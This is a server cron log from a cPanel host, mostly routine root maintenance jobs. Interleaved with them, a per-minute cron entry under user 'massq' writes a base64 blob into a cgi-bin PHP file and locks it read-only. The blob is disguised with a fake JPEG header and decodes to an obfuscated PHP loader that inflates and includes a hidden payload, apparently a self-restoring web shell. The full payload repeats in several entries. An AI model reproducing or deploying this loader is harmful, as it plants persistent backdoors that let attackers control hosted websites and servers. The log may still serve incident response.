Aug 30 13:16:01 server CROND[26096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:16:01 server CROND[26097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:17:01 server CROND[26488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:17:01 server CROND[26489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:17:01 server CROND[26490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:18:01 server CROND[26969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:18:01 server CROND[26970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:18:01 server CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:19:01 server CROND[27352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:19:01 server CROND[27353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:19:01 server CROND[27354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:20:01 server CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:20:01 server CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:20:01 server CROND[27762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:20:01 server CROND[27768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:20:01 server CROND[27763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:20:01 server CROND[27767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:20:01 server CROND[27766]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:20:01 server CROND[27764]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:20:01 server CROND[27765]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:21:01 server CROND[28611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:21:01 server CROND[28612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:21:01 server CROND[28613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:22:01 server CROND[29009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:22:01 server CROND[29010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:22:01 server CROND[29011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:23:01 server CROND[29486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:23:01 server CROND[29487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:23:01 server CROND[29488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:24:01 server CROND[29934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:24:01 server CROND[29935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:24:01 server CROND[29933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:25:01 server CROND[30334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:25:01 server CROND[30333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:25:01 server CROND[30336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:25:01 server CROND[30337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:25:01 server CROND[30335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:25:01 server CROND[30339]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:25:01 server CROND[30338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:26:01 server CROND[31176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:26:01 server CROND[31177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:26:01 server CROND[31179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:27:01 server CROND[31619]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:27:01 server CROND[31622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:27:01 server CROND[31621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:27:01 server CROND[31623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:28:01 server CROND[32099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:28:01 server CROND[32100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:28:01 server CROND[32101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:29:01 server CROND[32487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:29:01 server CROND[32489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
